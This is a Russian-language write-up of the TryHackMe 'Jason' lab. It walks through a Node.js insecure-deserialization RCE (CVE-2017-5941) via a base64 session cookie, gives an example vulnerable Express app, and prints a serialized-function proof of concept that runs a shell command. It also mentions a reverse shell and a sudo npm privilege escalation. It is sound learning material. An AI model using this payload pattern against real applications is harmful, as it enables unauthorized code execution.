Всем привет ! Сегодня я разберу машину Jason на площадке TryHackMe. Уровень Easy, но это правильная тачка, с правильной багой, которая много чему научит.
Сканирование.
У нас есть два порта на которых висят ssh и веб сервер.
Посетив нашу цель нас встречает сайт, с формой отправки email. Как только мы отправляем его , мы получаем ответ как на картинке.
Так же мы наблюдаем что сайт построен с помощью Nodejs.
Попробуем перехватить запрос в Burp и посмотреть какие ответы мы получаем:
При вводе в email мы получаем закодированный сеанс в base64.
Если мы кинем это в декодер , то увидим следующее.
Точка опоры.
Мои запросы по типу node.js deserialization exploit , привели меня к CVE-2017-5941.
Уязвимость позволяет злоумышленнику создать цепочку, используя механизм сериализации для исполнения
произвольного кода при десериализации. Если приложение использует функции serialize и deserialize из node-serialize
без должной проверки и фильтрации данных, злоумышленник может произвести инъекцию кода через специально подготовленные данные.
Немого ликбеза:
Сериализация — это процесс преобразования объекта (например, данных или структуры) в формат,
который можно сохранить (например, в файл) или передать по сети.
Десериализация — это обратный процесс, когда данные восстанавливаются из сохраненного
или переданного формата обратно в объект.
Эти процессы используются для передачи объектов между разными системами или сохранения их состояния.
Вот пример node.js приложение для имитации кода:
Значение cookie, полученное из запроса, было передано в unserialize() функцию, предоставляемую модулем.
JavaScript
:
Код:
var
express
=
require
(
'express'
)
;
var
cookieParser
=
require
(
'cookie-parser'
)
;
var
escape
=
require
(
'escape-html'
)
;
var
serialize
=
require
(
'node-serialize'
)
;
var
app
=
express
(
)
;
app
.
use
(
cookieParser
(
)
)
app
.
get
(
'/'
,
function
(
req, res
)
{
if
(
req
.
cookies
.
profile
)
{
var
str
=
new
Buffer
(
req
.
cookies
.
profile
,
'base64'
)
.
toString
(
)
;
var
obj
=
serialize
.
unserialize
(
str
)
;
if
(
obj
.
username
)
{
res
.
send
(
"Hello "
+
escape
(
obj
.
username
)
)
;
}
}
else
{
res
.
cookie
(
'session'
,
"eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0="
,
{
maxAge
:
900000
,
httpOnly
:
true
}
)
;
}
res
.
send
(
"Hello World"
)
;
}
)
;
app
.
listen
(
3000
)
;
Для этого я использовал node-serialize. Так же я создал объект js, с таким кодом который я передал в serialize() функцию.
Передача ее в unserialize() функцию приведет к выполнению кода.
JavaScript
:
Код:
var
y
=
{
rce
:
function
(
)
{
require
(
'child_process'
)
.
exec
(
'ping -c 1 10.10.61.233'
,
function
(
error, stdout, stderr
)
{
console
.
log
(
stdout
)
}
)
;
}
(
)
,
}
var
serialize
=
require
(
'node-serialize'
)
;
console
.
log
(
"Serialized: \n"
+
serialize
.
serialize
(
y
)
)
;
Мы можем проверить это, просто отправив ICMP пакеты:
И получив их на выходе :
Теперь мы знаем, что можем использовать unserialize() функцию в модуле node-serialize, если в него передаются
ненадежные данные. Давайте воспользуемся уязвимостью в веб-приложении, чтобы создать обратную оболочку.
Создание полезной нагрузки
Теперь осталось закодировать нашу нагрузку в base64:
После обновляем страницу и просто меняем текущий сеанс на свой, который мы закодировали. Так же прослушиваем порт
который мы указали в полезной нагрузке:
Мы получили наш первый флаг.
Privilege escalation.
Проверяем наши возможности:
Вообщем dylan может запускать npm от sudo без ввода пароля.
Обратимся к Gitfobins. Это действительно что нам нужно.
Таким образом, эта команда создает временный каталог, так же она создает в нем файл package.json, а затем выполняет
npm install с правами суперпользователя. При этом используется флаг --unsafe-perm, который позволяет выполнять
установочные скрипты с повышенными правами. В итоге это может привести к запуску оболочки /bin/sh, от суперпользователя.
Заключение:
Важно тщательно проверять и фильтровать входящие данные перед их десериализацией.
Небезопасная десериализация может привести к выполнению произвольного кода, а также к утечке
конфиденциальной информации и другим критическим последствиям.
Итоги:
В целом машина мне понравилась, в жизни такое редко встретишь, но понимание как работает данная уязвимость
дает только плюс в копилку для пентестера.
Спасибо всем за внимание. Я надеюсь предоставленный материал был полезен и интересен для вас.
Если у вас возникли вопросы или предложения не стесняйтесь делиться ими в комментариях. Ваши мысли и идеи всегда приветствуются.